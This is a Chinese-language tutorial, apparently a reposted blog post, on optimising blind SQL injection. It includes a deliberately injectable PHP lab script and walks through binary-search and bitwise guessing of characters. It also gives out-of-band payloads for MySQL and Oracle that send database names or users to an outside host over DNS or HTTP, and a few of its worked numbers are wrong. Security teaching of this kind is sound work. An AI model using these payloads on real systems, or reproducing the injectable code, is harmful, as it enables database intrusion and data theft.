【SQL注入】盲注优化

SQL注入之盲注优化技术

典型时间型盲注示例代码:

<?php
    header('content-type:text/html;charset=utf-8');
    @$id=$_GET['id'];  //传参
    if(!isset($id)){
        die('请传入GET方法id参数值');
    }
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
        die('连接数据库失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('user');
    if($mysqli->errno){
        die('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf8');
    $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1"; 
    $result=$mysqli->query($sql);
    if(!$result){ #无论什么情况都输入一种情况:hello mysql
        echo 'hello mysql';
    }else if($result->num_rows==0){
        echo 'hello mysql';
    }else {
        echo 'hello mysql';
    }

一、盲注猜解技术

在平时遇到盲注时,我们通常会使用二分搜索法进行猜解,这也是sqlmap工具默认的猜解方法,当然在布尔盲注时用二分搜索法也是比较快的,但是当遇到时间型盲注时,二分搜索法显得那么无能为力了。

sqlmap默认采用的二分搜索法:适用于全部数据库
在这里插入图片描述

其实盲注猜解技术不止二分搜索法,下面给大家讲解已知盲注猜解技术:

1、普通字符加正则表达式联合优化猜解

最原始的直接猜测:
x = 'a'
x = 'b'
......
这种效率肯定不高,光英文加数字最多要猜解:26+10=36次
使用正则表达式缩小采解范围:
x LIKE ['a-f']
x LIKE [^'a-f']
这时再加上直接猜测进行范围缩小
正则表达式在某些场景很有用。

2、二分搜索算法

二分搜索算法(分半\折半算法)主要用于推断单个字节的值,不需要搜索整张字母表,通过不断拆分平均值来缩小查找范围。

任何ASCII字符都可以用1字节或8位表示,也称为八位字节,并非所有字符在数据库中都是有效的或允许的,所以我们只关注ASCII范围32 - 126的可见字符,它给我们留下了一组94个字符。这其中是包含特殊符号在内的可见字符,如果知道要猜解的数据不包含特殊字符,还可以缩减范围成:48-57、65-90、97-122

在这里插入图片描述

例:使用二分搜索法猜解字符'f'=>ASCII数字为102
x > 64    1
x > 128    0     
x > 96    1
x > 112    0
x > 104    0
x > 100    1
x > 102    0
x > 101    1
x > 101 and x < 102 所以 x = 102
可以看到,使用二分搜索法需要8次猜解才能确定字符,这里x > 128 可以去掉,因为大于128了就不是可见字符,所以使用二分搜索法猜解至少需要7次,还不算是否判断字符结束x=0

所以,二分搜索法有个明显的缺点,那就是猜测每一位字符需要发送7次请求,每次发送的请求需要上一次请求返回结果判断才能继续发送,也就是说只有发送了第一次请求,且返回了结果,在进行结果判断,然后在发送第二次请求…,这种每次需要等待上一次结果返回,花费的时间较长。

1次请求延迟5秒,至少有4次是正确的吧,那就是4*5=20s,在加上不延迟的请求也需要时间返回吧,一次算1s吧,那就是20s+4s=24s,当然这里只是延迟5s,有些网页本身返回延迟慢,则需要加大此数。

3、按位方法

用按位方法法不需要像二分搜索法那样只能单次单次发送,可以并行同时发送7次请求,使得能快速得到一位值。

位操作法使用位操作符 & 实现
例:猜解字符 'g'=>ASCII码103
select 103 & 128;    结果为 0 =》0
select 103 & 64;    结果为 61=》1
select 103 & 32;    结果为 32=》1
select 103 & 16;    结果为 0=》0
select 103 & 8;    结果为 0=》0
select 103 & 4;    结果为 4=》1
select 103 & 2;    结果为 2=》1
select 103 & 1;    结果为 1=》1
结果非0的都为1,那么集合起来就是 01100111,转换到十进制为103,而ascii码表113对应字符'g'
这种方法也是需要7次请求,但是不需要像二分搜索法那样需要等待上一次请求结果进行判断,也就是说二分搜索法只能单线程,而位操作法可以并发多线程。时间大大的节约。

原理很简单:就是把字符转化成二进制,逐位判断
128二进制   10000000
64二进制    01000000
32二进制    00100000
16二进制   00010000
8二进制     00001000
4二进制    00000110
2二进制    00000010
1二进制    00000001

实验,这里使用位操作法是可以的:
在这里插入图片描述

那么为什么sqlmap不使用此方法进行呢?留给大家思考!

带外通信技术

进行SQL盲注漏洞时,使用第二类方法是借助非主流通道。区别在于前面的推断技术依靠的是页面发送的响应来判断,而非主流通道技术使用的是传输通道而非页面响应,传输通道包括DNS、E-MAIL、HTTP请求。这样的好处是可以一次检索多块数据,而不是通过推断单个字节的值。

现在企业防火墙或安全设备一般不会对DNS请求进行拦截检测,所以目前很多都是用NDS隧道进行隐蔽控制。

#mysql发送DNS请求:
SELECT LOAD_FILE(CONCAT('\\\\',( SELECT DATABASE() ),'.xx.xx\\x));

#Oracle发送DNS请求和HTTP请求:
SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;
select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;

可借助网络上已有平台,如:ceye.io、T00ls DNSLOGd等:
在这里插入图片描述

或者自己搭建NDS和HTTP平台:

  • 简单的自己写个python脚本监控UDP协议53端口的DNS记录,搭建个web服务器分析HTTP访问记录
    在这里插入图片描述
  • 或者采用一些开源项目,如:https://github.com/LandGrey/dnstricker
    在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/a15803617402/article/details/85123172